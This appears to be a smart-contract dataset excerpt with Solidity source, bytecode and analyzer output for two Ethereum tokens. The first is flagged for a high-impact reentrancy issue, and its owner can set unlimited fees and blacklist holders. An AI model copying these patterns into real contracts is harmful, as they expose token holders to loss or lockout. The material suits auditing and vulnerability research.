_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b157600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600c81526b46756e6769626c6520496e7560a01b60208201525b60405161023c9190611a23565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a78565b61069b565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b5066038d7ea4c680005b60405190815260200161023c565b3480156102dd57600080fd5b506102656102ec366004611aa4565b6106b2565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023c565b34801561032f57600080fd5b50601554610295906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae5565b61071b565b34801561036f57600080fd5b506101fc61037e366004611b12565b610766565b34801561038f57600080fd5b506101fc6107ae565b3480156103a457600080fd5b506102c36103b3366004611ae5565b6107f9565b3480156103c457600080fd5b506101fc61081b565b3480156103d957600080fd5b506101fc6103e8366004611b2d565b61088f565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae5565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610295565b34801561045a57600080fd5b506101fc610469366004611b12565b6108be565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600481526346494e5560e01b602082015261022f565b3480156104bd57600080fd5b506101fc6104cc366004611b2d565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b46565b610935565b3480156104fd57600080fd5b5061026561050c366004611a78565b610973565b34801561051d57600080fd5b5061026561052c366004611ae5565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b78565b6109d4565b34801561058257600080fd5b506102c3610591366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2d565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae5565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c35565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c96565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c35565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c35565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c35565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c35565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6a565b9050602002016020810190610a359190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c96565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c35565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c35565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb1565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a23565b50600061121f8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce0565b816001815181106113cd576113cd611c6a565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611732565b6001600160a01b0389166000908152600260205260409020556115c581611791565b6115cf84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164182826114c0565b82101561165c5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106269190611a23565b50600061121f8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149d565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b60008061173f8385611cb1565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179b61149d565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114c0565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106ac565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112df81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112df82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112df81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012fc05f5b38a5bb37d032146ccbd42dfd4957490b8112ff04f2c717f8f891d3f64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,750 |
0x9B75848172677042269C63365B57B0A51c21d031
|
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.12;
contract OptionsMarketToken {
/// @notice EIP-20 token name for this token
string public constant name = "Options.Market";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "OSM";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint256 public constant totalSupply = 100_000_000e18; // 100 million OSM
/// @dev Allowance amounts on behalf of others
mapping(address => mapping(address => uint96)) internal allowances;
/// @dev Official record of token balances for each account
mapping(address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256(
"Delegation(address delegatee,uint256 nonce,uint256 expiry)"
);
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
/**
* @notice Construct a new OSM token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender)
external
view
returns (uint256)
{
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 rawAmount)
external
returns (bool)
{
uint96 amount;
if (rawAmount == uint256(-1)) {
amount = uint96(-1);
} else {
amount = safe96(
rawAmount,
"OptionsMarket::approve: amount exceeds 96 bits"
);
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 rawAmount) external returns (bool) {
uint96 amount = safe96(
rawAmount,
"OptionsMarket::transfer: amount exceeds 96 bits"
);
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 rawAmount
) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(
rawAmount,
"OptionsMarket::approve: amount exceeds 96 bits"
);
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(
spenderAllowance,
amount,
"OptionsMarket::transferFrom: transfer amount exceeds spender allowance"
);
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
address signatory = ecrecover(digest, v, r, s);
require(
signatory != address(0),
"OptionsMarket::delegateBySig: invalid signature"
);
require(
nonce == nonces[signatory]++,
"OptionsMarket::delegateBySig: invalid nonce"
);
require(now <= expiry, "OptionsMarket::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber)
public
view
returns (uint96)
{
require(
blockNumber < block.number,
"OptionsMarket::getPriorVotes: not yet determined"
);
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(
address src,
address dst,
uint96 amount
) internal {
require(
src != address(0),
"OptionsMarket::_transferTokens: cannot transfer from the zero address"
);
require(
dst != address(0),
"OptionsMarket::_transferTokens: cannot transfer to the zero address"
);
balances[src] = sub96(
balances[src],
amount,
"OptionsMarket::_transferTokens: transfer amount exceeds balance"
);
balances[dst] = add96(
balances[dst],
amount,
"OptionsMarket::_transferTokens: transfer amount overflows"
);
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint96 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint96 srcRepNew = sub96(
srcRepOld,
amount,
"OptionsMarket::_moveVotes: vote amount underflows"
);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint96 dstRepNew = add96(
dstRepOld,
amount,
"OptionsMarket::_moveVotes: vote amount overflows"
);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint96 oldVotes,
uint96 newVotes
) internal {
uint32 blockNumber = safe32(
block.number,
"OptionsMarket::_writeCheckpoint: block number exceeds 32 bits"
);
if (
nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber
) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(
blockNumber,
newVotes
);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage)
internal
pure
returns (uint96)
{
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea57146103ca578063c3cda520146103f0578063dd62ed3e14610437578063e7a324dc14610465578063f1127ed81461046d57610121565b806370a0823114610302578063782d6fe1146103285780637ecebe001461037057806395d89b4114610396578063a9059cbb1461039e57610121565b806323b872dd116100f457806323b872dd14610205578063313ce5671461023b578063587cde1e146102595780635c19a95c1461029b5780636fcfff45146102c357610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806320606b70146101fd575b600080fd5b61012e6104c7565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b0381351690602001356104f1565b604080519115158252519081900360200190f35b6101eb6105ad565b60408051918252519081900360200190f35b6101eb6105bc565b6101cf6004803603606081101561021b57600080fd5b506001600160a01b038135811691602081013590911690604001356105e0565b610243610721565b6040805160ff9092168252519081900360200190f35b61027f6004803603602081101561026f57600080fd5b50356001600160a01b0316610726565b604080516001600160a01b039092168252519081900360200190f35b6102c1600480360360208110156102b157600080fd5b50356001600160a01b0316610741565b005b6102e9600480360360208110156102d957600080fd5b50356001600160a01b031661074e565b6040805163ffffffff9092168252519081900360200190f35b6101eb6004803603602081101561031857600080fd5b50356001600160a01b0316610766565b6103546004803603604081101561033e57600080fd5b506001600160a01b03813516906020013561078a565b604080516001600160601b039092168252519081900360200190f35b6101eb6004803603602081101561038657600080fd5b50356001600160a01b03166109b7565b61012e6109c9565b6101cf600480360360408110156103b457600080fd5b506001600160a01b0381351690602001356109e8565b610354600480360360208110156103e057600080fd5b50356001600160a01b0316610a24565b6102c1600480360360c081101561040657600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135610a95565b6101eb6004803603604081101561044d57600080fd5b506001600160a01b0381358116916020013516610def565b6101eb610e21565b61049f6004803603604081101561048357600080fd5b5080356001600160a01b0316906020013563ffffffff16610e45565b6040805163ffffffff90931683526001600160601b0390911660208301528051918290030190f35b6040518060400160405280600e81526020016d13dc1d1a5bdb9ccb93585c9ad95d60921b81525081565b600080600019831415610507575060001961052c565b610529836040518060600160405280602e8152602001611883602e9139610e7a565b90505b336000818152602081815260408083206001600160a01b0389168085529083529281902080546001600160601b0319166001600160601b038716908117909155815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a360019150505b92915050565b6a52b7d2dcc80cd2e400000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d58579